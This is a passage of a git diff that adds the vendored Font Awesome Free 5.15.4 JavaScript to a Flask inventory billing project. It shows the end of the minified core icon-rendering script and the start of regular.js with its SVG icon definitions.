watchable: !0 + }) ]); + }(t, a) : (i = t, o = (n = a).iconName, c = n.title, s = n.titleId, l = n.prefix, + f = n.transform, u = n.symbol, e = n.mask, d = n.maskId, m = n.extra, new vt(function(r, t) { + vt.all([ wn(o, l), wn(e.iconName, e.prefix) ]).then(function(t) { + var n = p(t, 2), e = n[0], a = n[1]; + r([ i, It({ + icons: { + main: e, + mask: a + }, + prefix: l, + iconName: o, + transform: f, + symbol: u, + mask: a, + maskId: d, + title: c, + titleId: s, + extra: m, + watchable: !0 + }) ]); + }); + })); + } + function An(t) { + var e = 1 < arguments.length && void 0 !== arguments[1] ? arguments[1] : null; + if (m) { + var n = b.documentElement.classList, a = function(t) { + return n.add("".concat(O, "-").concat(t)); + }, r = function(t) { + return n.remove("".concat(O, "-").concat(t)); + }, i = nt.autoFetchSvg ? Object.keys(z) : Object.keys(xn), o = [ ".".concat(I, ":not([").concat(tt, "])") ].concat(i.map(function(t) { + return ".".concat(t, ":not([").concat(tt, "])"); + })).join(", "); + if (0 !== o.length) { + var c = []; + try { + c = At(t.querySelectorAll(o)); + } catch (t) {} + if (0 < c.length) { + a("pending"), r("complete"); + var s = Dt.begin("onTree"), l = c.reduce(function(t, n) { + try { + var e = kn(n); + e && t.push(e); + } catch (t) { + N || t instanceof dn && console.error(t); + } + return t; + }, []); + return new vt(function(n, t) { + vt.all(l).then(function(t) { + an(t, function() { + a("active"), a("complete"), r("pending"), "function" == typeof e && e(), s(), n(); + }); + }).catch(function() { + s(), t(); + }); + }); + } + } + } + } + function Cn(t) { + var n = 1 < arguments.length && void 0 !== arguments[1] ? arguments[1] : null; + kn(t).then(function(t) { + t && an([ t ], n); + }); + } + function Mn(p, h) { + var g = "".concat(x).concat(h.replace(":", "-")); + return new vt(function(a, t) { + if (null !== p.getAttribute(g)) return a(); + var n = At(p.children).filter(function(t) { + return t.getAttribute(w) === h; + })[0], e = v.getComputedStyle(p, h), r = e.getPropertyValue("font-family").match(j), i = e.getPropertyValue("font-weight"), o = e.getPropertyValue("content"); + if (n && !r) return p.removeChild(n), a(); + if (r && "none" !== o && "" !== o) { + var c = e.getPropertyValue("content"), s = ~[ "Solid", "Regular", "Light", "Duotone", "Brands", "Kit" ].indexOf(r[2]) ? E[r[2].toLowerCase()] : L[i], l = Ht(3 === c.length ? c.substr(1, 1) : c), f = Vt(s, l), u = f; + if (!f || n && n.getAttribute(C) === s && n.getAttribute(M) === u) a(); else { + p.setAttribute(g, u), n && p.removeChild(n); + var d = { + iconName: null, + title: null, + titleId: null, + prefix: null, + transform: yt, + symbol: !1, + mask: null, + maskId: null, + extra: { + classes: [], + styles: {}, + attributes: {} + } + }, m = d.extra; + m.attributes[w] = h, wn(f, s).then(function(t) { + var n = It($({}, d, { + icons: { + main: t, + mask: Kt() + }, + prefix: s, + iconName: u, + extra: m, + watchable: !0 + })), e = b.createElement("svg"); + ":before" === h ? p.insertBefore(e, p.firstChild) : p.appendChild(e), e.outerHTML = n.map(function(t) { + return Zt(t); + }).join("\n"), p.removeAttribute(g), a(); + }).catch(t); + } + } else a(); + }); + } + function On(t) { + return vt.all([ Mn(t, ":before"), Mn(t, ":after") ]); + } + function Pn(t) { + return !(t.parentNode === document.head || ~S.indexOf(t.tagName.toUpperCase()) || t.getAttribute(w) || t.parentNode && "svg" === t.parentNode.tagName); + } + function Sn(r) { + if (m) return new vt(function(t, n) { + var e = At(r.querySelectorAll("*")).filter(Pn).map(On), a = Dt.begin("searchPseudoElements"); + rn = !0, vt.all(e).then(function() { + a(), on(), t(); + }).catch(function() { + a(), on(), n(); + }); + }); + } + var Nn = 'svg:not(:root).svg-inline--fa {\n overflow: visible;\n}\n\n.svg-inline--fa {\n display: inline-block;\n font-size: inherit;\n height: 1em;\n overflow: visible;\n vertical-align: -0.125em;\n}\n.svg-inline--fa.fa-lg {\n vertical-align: -0.225em;\n}\n.svg-inline--fa.fa-w-1 {\n width: 0.0625em;\n}\n.svg-inline--fa.fa-w-2 {\n width: 0.125em;\n}\n.svg-inline--fa.fa-w-3 {\n width: 0.1875em;\n}\n.svg-inline--fa.fa-w-4 {\n width: 0.25em;\n}\n.svg-inline--fa.fa-w-5 {\n width: 0.3125em;\n}\n.svg-inline--fa.fa-w-6 {\n width: 0.375em;\n}\n.svg-inline--fa.fa-w-7 {\n width: 0.4375em;\n}\n.svg-inline--fa.fa-w-8 {\n width: 0.5em;\n}\n.svg-inline--fa.fa-w-9 {\n width: 0.5625em;\n}\n.svg-inline--fa.fa-w-10 {\n width: 0.625em;\n}\n.svg-inline--fa.fa-w-11 {\n width: 0.6875em;\n}\n.svg-inline--fa.fa-w-12 {\n width: 0.75em;\n}\n.svg-inline--fa.fa-w-13 {\n width: 0.8125em;\n}\n.svg-inline--fa.fa-w-14 {\n width: 0.875em;\n}\n.svg-inline--fa.fa-w-15 {\n width: 0.9375em;\n}\n.svg-inline--fa.fa-w-16 {\n width: 1em;\n}\n.svg-inline--fa.fa-w-17 {\n width: 1.0625em;\n}\n.svg-inline--fa.fa-w-18 {\n width: 1.125em;\n}\n.svg-inline--fa.fa-w-19 {\n width: 1.1875em;\n}\n.svg-inline--fa.fa-w-20 {\n width: 1.25em;\n}\n.svg-inline--fa.fa-pull-left {\n margin-right: 0.3em;\n width: auto;\n}\n.svg-inline--fa.fa-pull-right {\n margin-left: 0.3em;\n width: auto;\n}\n.svg-inline--fa.fa-border {\n height: 1.5em;\n}\n.svg-inline--fa.fa-li {\n width: 2em;\n}\n.svg-inline--fa.fa-fw {\n width: 1.25em;\n}\n\n.fa-layers svg.svg-inline--fa {\n bottom: 0;\n left: 0;\n margin: auto;\n position: absolute;\n right: 0;\n top: 0;\n}\n\n.fa-layers {\n display: inline-block;\n height: 1em;\n position: relative;\n text-align: center;\n vertical-align: -0.125em;\n width: 1em;\n}\n.fa-layers svg.svg-inline--fa {\n -webkit-transform-origin: center center;\n transform-origin: center center;\n}\n\n.fa-layers-counter, .fa-layers-text {\n display: inline-block;\n position: absolute;\n text-align: center;\n}\n\n.fa-layers-text {\n left: 50%;\n top: 50%;\n -webkit-transform: translate(-50%, -50%);\n transform: translate(-50%, -50%);\n -webkit-transform-origin: center center;\n transform-origin: center center;\n}\n\n.fa-layers-counter {\n background-color: #ff253a;\n border-radius: 1em;\n -webkit-box-sizing: border-box;\n box-sizing: border-box;\n color: #fff;\n height: 1.5em;\n line-height: 1;\n max-width: 5em;\n min-width: 1.5em;\n overflow: hidden;\n padding: 0.25em;\n right: 0;\n text-overflow: ellipsis;\n top: 0;\n -webkit-transform: scale(0.25);\n transform: scale(0.25);\n -webkit-transform-origin: top right;\n transform-origin: top right;\n}\n\n.fa-layers-bottom-right {\n bottom: 0;\n right: 0;\n top: auto;\n -webkit-transform: scale(0.25);\n transform: scale(0.25);\n -webkit-transform-origin: bottom right;\n transform-origin: bottom right;\n}\n\n.fa-layers-bottom-left {\n bottom: 0;\n left: 0;\n right: auto;\n top: auto;\n -webkit-transform: scale(0.25);\n transform: scale(0.25);\n -webkit-transform-origin: bottom left;\n transform-origin: bottom left;\n}\n\n.fa-layers-top-right {\n right: 0;\n top: 0;\n -webkit-transform: scale(0.25);\n transform: scale(0.25);\n -webkit-transform-origin: top right;\n transform-origin: top right;\n}\n\n.fa-layers-top-left {\n left: 0;\n right: auto;\n top: 0;\n -webkit-transform: scale(0.25);\n transform: scale(0.25);\n -webkit-transform-origin: top left;\n transform-origin: top left;\n}\n\n.fa-lg {\n font-size: 1.3333333333em;\n line-height: 0.75em;\n vertical-align: -0.0667em;\n}\n\n.fa-xs {\n font-size: 0.75em;\n}\n\n.fa-sm {\n font-size: 0.875em;\n}\n\n.fa-1x {\n font-size: 1em;\n}\n\n.fa-2x {\n font-size: 2em;\n}\n\n.fa-3x {\n font-size: 3em;\n}\n\n.fa-4x {\n font-size: 4em;\n}\n\n.fa-5x {\n font-size: 5em;\n}\n\n.fa-6x {\n font-size: 6em;\n}\n\n.fa-7x {\n font-size: 7em;\n}\n\n.fa-8x {\n font-size: 8em;\n}\n\n.fa-9x {\n font-size: 9em;\n}\n\n.fa-10x {\n font-size: 10em;\n}\n\n.fa-fw {\n text-align: center;\n width: 1.25em;\n}\n\n.fa-ul {\n list-style-type: none;\n margin-left: 2.5em;\n padding-left: 0;\n}\n.fa-ul > li {\n position: relative;\n}\n\n.fa-li {\n left: -2em;\n position: absolute;\n text-align: center;\n width: 2em;\n line-height: inherit;\n}\n\n.fa-border {\n border: solid 0.08em #eee;\n border-radius: 0.1em;\n padding: 0.2em 0.25em 0.15em;\n}\n\n.fa-pull-left {\n float: left;\n}\n\n.fa-pull-right {\n float: right;\n}\n\n.fa.fa-pull-left,\n.fas.fa-pull-left,\n.far.fa-pull-left,\n.fal.fa-pull-left,\n.fab.fa-pull-left {\n margin-right: 0.3em;\n}\n.fa.fa-pull-right,\n.fas.fa-pull-right,\n.far.fa-pull-right,\n.fal.fa-pull-right,\n.fab.fa-pull-right {\n margin-left: 0.3em;\n}\n\n.fa-spin {\n -webkit-animation: fa-spin 2s infinite linear;\n animation: fa-spin 2s infinite linear;\n}\n\n.fa-pulse {\n -webkit-animation: fa-spin 1s infinite steps(8);\n animation: fa-spin 1s infinite steps(8);\n}\n\n@-webkit-keyframes fa-spin {\n 0% {\n -webkit-transform: rotate(0deg);\n transform: rotate(0deg);\n }\n 100% {\n -webkit-transform: rotate(360deg);\n transform: rotate(360deg);\n }\n}\n\n@keyframes fa-spin {\n 0% {\n -webkit-transform: rotate(0deg);\n transform: rotate(0deg);\n }\n 100% {\n -webkit-transform: rotate(360deg);\n transform: rotate(360deg);\n }\n}\n.fa-rotate-90 {\n -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=1)";\n -webkit-transform: rotate(90deg);\n transform: rotate(90deg);\n}\n\n.fa-rotate-180 {\n -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2)";\n -webkit-transform: rotate(180deg);\n transform: rotate(180deg);\n}\n\n.fa-rotate-270 {\n -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=3)";\n -webkit-transform: rotate(270deg);\n transform: rotate(270deg);\n}\n\n.fa-flip-horizontal {\n -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)";\n -webkit-transform: scale(-1, 1);\n transform: scale(-1, 1);\n}\n\n.fa-flip-vertical {\n -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)";\n -webkit-transform: scale(1, -1);\n transform: scale(1, -1);\n}\n\n.fa-flip-both, .fa-flip-horizontal.fa-flip-vertical {\n -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)";\n -webkit-transform: scale(-1, -1);\n transform: scale(-1, -1);\n}\n\n:root .fa-rotate-90,\n:root .fa-rotate-180,\n:root .fa-rotate-270,\n:root .fa-flip-horizontal,\n:root .fa-flip-vertical,\n:root .fa-flip-both {\n -webkit-filter: none;\n filter: none;\n}\n\n.fa-stack {\n display: inline-block;\n height: 2em;\n position: relative;\n width: 2.5em;\n}\n\n.fa-stack-1x,\n.fa-stack-2x {\n bottom: 0;\n left: 0;\n margin: auto;\n position: absolute;\n right: 0;\n top: 0;\n}\n\n.svg-inline--fa.fa-stack-1x {\n height: 1em;\n width: 1.25em;\n}\n.svg-inline--fa.fa-stack-2x {\n height: 2em;\n width: 2.5em;\n}\n\n.fa-inverse {\n color: #fff;\n}\n\n.sr-only {\n border: 0;\n clip: rect(0, 0, 0, 0);\n height: 1px;\n margin: -1px;\n overflow: hidden;\n padding: 0;\n position: absolute;\n width: 1px;\n}\n\n.sr-only-focusable:active, .sr-only-focusable:focus {\n clip: auto;\n height: auto;\n margin: 0;\n overflow: visible;\n position: static;\n width: auto;\n}\n\n.svg-inline--fa .fa-primary {\n fill: var(--fa-primary-color, currentColor);\n opacity: 1;\n opacity: var(--fa-primary-opacity, 1);\n}\n\n.svg-inline--fa .fa-secondary {\n fill: var(--fa-secondary-color, currentColor);\n opacity: 0.4;\n opacity: var(--fa-secondary-opacity, 0.4);\n}\n\n.svg-inline--fa.fa-swap-opacity .fa-primary {\n opacity: 0.4;\n opacity: var(--fa-secondary-opacity, 0.4);\n}\n\n.svg-inline--fa.fa-swap-opacity .fa-secondary {\n opacity: 1;\n opacity: var(--fa-primary-opacity, 1);\n}\n\n.svg-inline--fa mask .fa-primary,\n.svg-inline--fa mask .fa-secondary {\n fill: black;\n}\n\n.fad.fa-inverse {\n color: #fff;\n}'; + function zn() { + var t = g, n = y, e = nt.familyPrefix, a = nt.replacementClass, r = Nn; + if (e !== t || a !== n) { + var i = new RegExp("\\.".concat(t, "\\-"), "g"), o = new RegExp("\\--".concat(t, "\\-"), "g"), c = new RegExp("\\.".concat(n), "g"); + r = r.replace(i, ".".concat(e, "-")).replace(o, "--".concat(e, "-")).replace(c, ".".concat(a)); + } + return r; + } + function En() { + nt.autoAddCss && !Tn && (wt(zn()), Tn = !0); + } + function In(n, t) { + return Object.defineProperty(n, "abstract", { + get: t + }), Object.defineProperty(n, "html", { + get: function() { + return n.abstract.map(function(t) { + return Zt(t); + }); + } + }), Object.defineProperty(n, "node", { + get: function() { + if (m) { + var t = b.createElement("div"); + return t.innerHTML = n.html, t.children; + } + } + }), n; + } + function jn(t) { + var n = t.prefix, e = void 0 === n ? "fa" : n, a = t.iconName; + if (a) return Qt(Rn.definitions, e, a) || Qt(B.styles, e, a); + } + var Ln, Rn = new (function() { + function t() { + !function(t, n) { + if (!(t instanceof n)) throw new TypeError("Cannot call a class as a function"); + }(this, t), this.definitions = {}; + } + var n, e, a; + return n = t, (e = [ { + key: "add", + value: function() { + for (var n = this, t = arguments.length, e = new Array(t), a = 0; a < t; a++) e[a] = arguments[a]; + var r = e.reduce(this._pullDefinitions, {}); + Object.keys(r).forEach(function(t) { + n.definitions[t] = $({}, n.definitions[t] || {}, r[t]), function t(n, a) { + var e = (2 < arguments.length && void 0 !== arguments[2] ? arguments[2] : {}).skipHooks, r = void 0 !== e && e, i = Object.keys(a).reduce(function(t, n) { + var e = a[n]; + return e.icon ? t[e.iconName] = e.icon : t[n] = e, t; + }, {}); + "function" != typeof B.hooks.addPack || r ? B.styles[n] = $({}, B.styles[n] || {}, i) : B.hooks.addPack(n, i), + "fas" === n && t("fa", a); + }(t, r[t]), qt(); + }); + } + }, { + key: "reset", + value: function() { + this.definitions = {}; + } + }, { + key: "_pullDefinitions", + value: function(i, t) { + var o = t.prefix && t.iconName && t.icon ? { + 0: t + } : t; + return Object.keys(o).map(function(t) { + var n = o[t], e = n.prefix, a = n.iconName, r = n.icon; + i[e] || (i[e] = {}), i[e][a] = r; + }), i; + } + } ]) && i(n.prototype, e), a && i(n, a), t; + }())(), Tn = !1, _n = { + i2svg: function() { + var t = 0 < arguments.length && void 0 !== arguments[0] ? arguments[0] : {}; + if (m) { + En(); + var n = t.node, e = void 0 === n ? b : n, a = t.callback, r = void 0 === a ? function() {} : a; + return nt.searchPseudoElements && Sn(e), An(e, r); + } + return vt.reject("Operation requires a DOM of some kind."); + }, + css: zn, + insertCss: function() { + Tn || (wt(zn()), Tn = !0); + }, + watch: function() { + var t = 0 < arguments.length && void 0 !== arguments[0] ? arguments[0] : {}, n = t.autoReplaceSvgRoot, e = t.observeMutationsRoot; + !1 === nt.autoReplaceSvg && (nt.autoReplaceSvg = !0), nt.observeMutations = !0, + q(function() { + Hn({ + autoReplaceSvgRoot: n + }), sn({ + treeCallback: An, + nodeCallback: Cn, + pseudoElementsCallback: Sn, + observeMutationsRoot: e + }); + }); + } + }, Dn = (Ln = function(t) { + var n = 1 < arguments.length && void 0 !== arguments[1] ? arguments[1] : {}, e = n.transform, a = void 0 === e ? yt : e, r = n.symbol, i = void 0 !== r && r, o = n.mask, c = void 0 === o ? null : o, s = n.maskId, l = void 0 === s ? null : s, f = n.title, u = void 0 === f ? null : f, d = n.titleId, m = void 0 === d ? null : d, p = n.classes, h = void 0 === p ? [] : p, g = n.attributes, v = void 0 === g ? {} : g, b = n.styles, y = void 0 === b ? {} : b; + if (t) { + var w = t.prefix, x = t.iconName, k = t.icon; + return In($({ + type: "icon" + }, t), function() { + return En(), nt.autoA11y && (u ? v["aria-labelledby"] = "".concat(nt.replacementClass, "-title-").concat(m || kt()) : (v["aria-hidden"] = "true", + v.focusable = "false")), It({ + icons: { + main: yn(k), + mask: c ? yn(c.icon) : { + found: !1, + width: null, + height: null, + icon: {} + } + }, + prefix: w, + iconName: x, + transform: $({}, yt, a), + symbol: i, + title: u, + maskId: l, + titleId: m, + extra: { + attributes: v, + styles: y, + classes: h + } + }); + }); + } + }, function(t) { + var n = 1 < arguments.length && void 0 !== arguments[1] ? arguments[1] : {}, e = (t || {}).icon ? t : jn(t || {}), a = n.mask; + return a && (a = (a || {}).icon ? a : jn(a || {})), Ln(e, $({}, n, { + mask: a + })); + }), Yn = { + noAuto: function() { + nt.autoReplaceSvg = !1, nt.observeMutations = !1, cn && cn.disconnect(); + }, + config: nt, + dom: _n, + library: Rn, + parse: { + transform: function(t) { + return fn(t); + } + }, + findIconDefinition: jn, + icon: Dn, + text: function(t) { + var n = 1 < arguments.length && void 0 !== arguments[1] ? arguments[1] : {}, e = n.transform, a = void 0 === e ? yt : e, r = n.title, i = void 0 === r ? null : r, o = n.classes, c = void 0 === o ? [] : o, s = n.attributes, l = void 0 === s ? {} : s, f = n.styles, u = void 0 === f ? {} : f; + return In({ + type: "text", + content: t + }, function() { + return En(), jt({ + content: t, + transform: $({}, yt, a), + title: i, + extra: { + attributes: l, + styles: u, + classes: [ "".concat(nt.familyPrefix, "-layers-text") ].concat(d(c)) + } + }); + }); + }, + counter: function(t) { + var n = 1 < arguments.length && void 0 !== arguments[1] ? arguments[1] : {}, e = n.title, a = void 0 === e ? null : e, r = n.classes, i = void 0 === r ? [] : r, o = n.attributes, c = void 0 === o ? {} : o, s = n.styles, l = void 0 === s ? {} : s; + return In({ + type: "counter", + content: t + }, function() { + return En(), function(t) { + var n = t.content, e = t.title, a = t.extra, r = $({}, a.attributes, e ? { + title: e + } : {}, { + class: a.classes.join(" ") + }), i = Pt(a.styles); + 0 < i.length && (r.style = i); + var o = []; + return o.push({ + tag: "span", + attributes: r, + children: [ n ] + }), e && o.push({ + tag: "span", + attributes: { + class: "sr-only" + }, + children: [ e ] + }), o; + }({ + content: t.toString(), + title: a, + extra: { + attributes: c, + styles: l, + classes: [ "".concat(nt.familyPrefix, "-layers-counter") ].concat(d(i)) + } + }); + }); + }, + layer: function(t) { + var n = (1 < arguments.length && void 0 !== arguments[1] ? arguments[1] : {}).classes, e = void 0 === n ? [] : n; + return In({ + type: "layer" + }, function() { + En(); + var n = []; + return t(function(t) { + Array.isArray(t) ? t.map(function(t) { + n = n.concat(t.abstract); + }) : n = n.concat(t.abstract); + }), [ { + tag: "span", + attributes: { + class: [ "".concat(nt.familyPrefix, "-layers") ].concat(d(e)).join(" ") + }, + children: n + } ]; + }); + }, + toHtml: Zt + }, Hn = function() { + var t = (0 < arguments.length && void 0 !== arguments[0] ? arguments[0] : {}).autoReplaceSvgRoot, n = void 0 === t ? b : t; + (0 < Object.keys(B.styles).length || nt.autoFetchSvg) && m && nt.autoReplaceSvg && Yn.dom.i2svg({ + node: n + }); + }; + !function(t) { + try { + t(); + } catch (t) { + if (!N) throw t; + } + }(function() { + u && (v.FontAwesome || (v.FontAwesome = Yn), q(function() { + Hn(), sn({ + treeCallback: An, + nodeCallback: Cn, + pseudoElementsCallback: Sn + }); + })), B.hooks = $({}, B.hooks, { + addPack: function(t, n) { + B.styles[t] = $({}, B.styles[t] || {}, n), qt(), Hn(); + }, + addShims: function(t) { + var n; + (n = B.shims).push.apply(n, d(t)), qt(), Hn(); + } + }); + }); +}(); \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/js/regular.js b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/js/regular.js new file mode 100644 index 00000000..e2c57928 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/js/regular.js @@ -0,0 +1,280 @@ +/*! + * Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com + * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) + */ +(function () { + 'use strict'; + + var _WINDOW = {}; + var _DOCUMENT = {}; + + try { + if (typeof window !== 'undefined') _WINDOW = window; + if (typeof document !== 'undefined') _DOCUMENT = document; + } catch (e) {} + + var _ref = _WINDOW.navigator || {}, + _ref$userAgent = _ref.userAgent, + userAgent = _ref$userAgent === void 0 ? '' : _ref$userAgent; + + var WINDOW = _WINDOW; + var DOCUMENT = _DOCUMENT; + var IS_BROWSER = !!WINDOW.document; + var IS_DOM = !!DOCUMENT.documentElement && !!DOCUMENT.head && typeof DOCUMENT.addEventListener === 'function' && typeof DOCUMENT.createElement === 'function'; + var IS_IE = ~userAgent.indexOf('MSIE') || ~userAgent.indexOf('Trident/'); + + var NAMESPACE_IDENTIFIER = '___FONT_AWESOME___'; + var PRODUCTION = function () { + try { + return undefined === 'production'; + } catch (e) { + return false; + } + }(); + + function bunker(fn) { + try { + fn(); + } catch (e) { + if (!PRODUCTION) { + throw e; + } + } + } + + function _defineProperty(obj, key, value) { + if (key in obj) { + Object.defineProperty(obj, key, { + value: value, + enumerable: true, + configurable: true, + writable: true + }); + } else { + obj[key] = value; + } + + return obj; + } + + function _objectSpread(target) { + for (var i = 1; i < arguments.length; i++) { + var source = arguments[i] != null ? arguments[i] : {}; + var ownKeys = Object.keys(source); + + if (typeof Object.getOwnPropertySymbols === 'function') { + ownKeys = ownKeys.concat(Object.getOwnPropertySymbols(source).filter(function (sym) { + return Object.getOwnPropertyDescriptor(source, sym).enumerable; + })); + } + + ownKeys.forEach(function (key) { + _defineProperty(target, key, source[key]); + }); + } + + return target; + } + + var w = WINDOW || {}; + if (!w[NAMESPACE_IDENTIFIER]) w[NAMESPACE_IDENTIFIER] = {}; + if (!w[NAMESPACE_IDENTIFIER].styles) w[NAMESPACE_IDENTIFIER].styles = {}; + if (!w[NAMESPACE_IDENTIFIER].hooks) w[NAMESPACE_IDENTIFIER].hooks = {}; + if (!w[NAMESPACE_IDENTIFIER].shims) w[NAMESPACE_IDENTIFIER].shims = []; + var namespace = w[NAMESPACE_IDENTIFIER]; + + function defineIcons(prefix, icons) { + var params = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : {}; + var _params$skipHooks = params.skipHooks, + skipHooks = _params$skipHooks === void 0 ? false : _params$skipHooks; + var normalized = Object.keys(icons).reduce(function (acc, iconName) { + var icon = icons[iconName]; + var expanded = !!icon.icon; + + if (expanded) { + acc[icon.iconName] = icon.icon; + } else { + acc[iconName] = icon; + } + + return acc; + }, {}); + + if (typeof namespace.hooks.addPack === 'function' && !skipHooks) { + namespace.hooks.addPack(prefix, normalized); + } else { + namespace.styles[prefix] = _objectSpread({}, namespace.styles[prefix] || {}, normalized); + } + /** + * Font Awesome 4 used the prefix of `fa` for all icons. With the introduction + * of new styles we needed to differentiate between them. Prefix `fa` is now an alias + * for `fas` so we'll easy the upgrade process for our users by automatically defining + * this as well. + */ + + + if (prefix === 'fas') { + defineIcons('fa', icons); + } + } + + var icons = { + "address-book": [448, 512, [], "f2b9", "M436 160c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20V48c0-26.5-21.5-48-48-48H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h320c26.5 0 48-21.5 48-48v-48h20c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20v-64h20c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20v-64h20zm-68 304H48V48h320v416zM208 256c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm-89.6 128h179.2c12.4 0 22.4-8.6 22.4-19.2v-19.2c0-31.8-30.1-57.6-67.2-57.6-10.8 0-18.7 8-44.8 8-26.9 0-33.4-8-44.8-8-37.1 0-67.2 25.8-67.2 57.6v19.2c0 10.6 10 19.2 22.4 19.2z"], + "address-card": [576, 512, [], "f2bb", "M528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm0 400H48V80h480v352zM208 256c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm-89.6 128h179.2c12.4 0 22.4-8.6 22.4-19.2v-19.2c0-31.8-30.1-57.6-67.2-57.6-10.8 0-18.7 8-44.8 8-26.9 0-33.4-8-44.8-8-37.1 0-67.2 25.8-67.2 57.6v19.2c0 10.6 10 19.2 22.4 19.2zM360 320h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm0-64h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm0-64h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8z"], + "angry": [496, 512, [], "f556", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm0-144c-33.6 0-65.2 14.8-86.8 40.6-8.5 10.2-7.1 25.3 3.1 33.8s25.3 7.2 33.8-3c24.8-29.7 75-29.7 99.8 0 8.1 9.7 23.2 11.9 33.8 3 10.2-8.5 11.5-23.6 3.1-33.8-21.6-25.8-53.2-40.6-86.8-40.6zm-48-72c10.3 0 19.9-6.7 23-17.1 3.8-12.7-3.4-26.1-16.1-29.9l-80-24c-12.8-3.9-26.1 3.4-29.9 16.1-3.8 12.7 3.4 26.1 16.1 29.9l28.2 8.5c-3.1 4.9-5.3 10.4-5.3 16.6 0 17.7 14.3 32 32 32s32-14.4 32-32.1zm199-54.9c-3.8-12.7-17.1-19.9-29.9-16.1l-80 24c-12.7 3.8-19.9 17.2-16.1 29.9 3.1 10.4 12.7 17.1 23 17.1 0 17.7 14.3 32 32 32s32-14.3 32-32c0-6.2-2.2-11.7-5.3-16.6l28.2-8.5c12.7-3.7 19.9-17.1 16.1-29.8z"], + "arrow-alt-circle-down": [512, 512, [], "f358", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200zm-32-316v116h-67c-10.7 0-16 12.9-8.5 20.5l99 99c4.7 4.7 12.3 4.7 17 0l99-99c7.6-7.6 2.2-20.5-8.5-20.5h-67V140c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12z"], + "arrow-alt-circle-left": [512, 512, [], "f359", "M8 256c0 137 111 248 248 248s248-111 248-248S393 8 256 8 8 119 8 256zm448 0c0 110.5-89.5 200-200 200S56 366.5 56 256 145.5 56 256 56s200 89.5 200 200zm-72-20v40c0 6.6-5.4 12-12 12H256v67c0 10.7-12.9 16-20.5 8.5l-99-99c-4.7-4.7-4.7-12.3 0-17l99-99c7.6-7.6 20.5-2.2 20.5 8.5v67h116c6.6 0 12 5.4 12 12z"], + "arrow-alt-circle-right": [512, 512, [], "f35a", "M504 256C504 119 393 8 256 8S8 119 8 256s111 248 248 248 248-111 248-248zm-448 0c0-110.5 89.5-200 200-200s200 89.5 200 200-89.5 200-200 200S56 366.5 56 256zm72 20v-40c0-6.6 5.4-12 12-12h116v-67c0-10.7 12.9-16 20.5-8.5l99 99c4.7 4.7 4.7 12.3 0 17l-99 99c-7.6 7.6-20.5 2.2-20.5-8.5v-67H140c-6.6 0-12-5.4-12-12z"], + "arrow-alt-circle-up": [512, 512, [], "f35b", "M256 504c137 0 248-111 248-248S393 8 256 8 8 119 8 256s111 248 248 248zm0-448c110.5 0 200 89.5 200 200s-89.5 200-200 200S56 366.5 56 256 145.5 56 256 56zm20 328h-40c-6.6 0-12-5.4-12-12V256h-67c-10.7 0-16-12.9-8.5-20.5l99-99c4.7-4.7 12.3-4.7 17 0l99 99c7.6 7.6 2.2 20.5-8.5 20.5h-67v116c0 6.6-5.4 12-12 12z"], + "bell": [448, 512, [], "f0f3", "M439.39 362.29c-19.32-20.76-55.47-51.99-55.47-154.29 0-77.7-54.48-139.9-127.94-155.16V32c0-17.67-14.32-32-31.98-32s-31.98 14.33-31.98 32v20.84C118.56 68.1 64.08 130.3 64.08 208c0 102.3-36.15 133.53-55.47 154.29-6 6.45-8.66 14.16-8.61 21.71.11 16.4 12.98 32 32.1 32h383.8c19.12 0 32-15.6 32.1-32 .05-7.55-2.61-15.27-8.61-21.71zM67.53 368c21.22-27.97 44.42-74.33 44.53-159.42 0-.2-.06-.38-.06-.58 0-61.86 50.14-112 112-112s112 50.14 112 112c0 .2-.06.38-.06.58.11 85.1 23.31 131.46 44.53 159.42H67.53zM224 512c35.32 0 63.97-28.65 63.97-64H160.03c0 35.35 28.65 64 63.97 64z"], + "bell-slash": [640, 512, [], "f1f6", "M633.99 471.02L36 3.51C29.1-2.01 19.03-.9 13.51 6l-10 12.49C-2.02 25.39-.9 35.46 6 40.98l598 467.51c6.9 5.52 16.96 4.4 22.49-2.49l10-12.49c5.52-6.9 4.41-16.97-2.5-22.49zM163.53 368c16.71-22.03 34.48-55.8 41.4-110.58l-45.47-35.55c-3.27 90.73-36.47 120.68-54.84 140.42-6 6.45-8.66 14.16-8.61 21.71.11 16.4 12.98 32 32.1 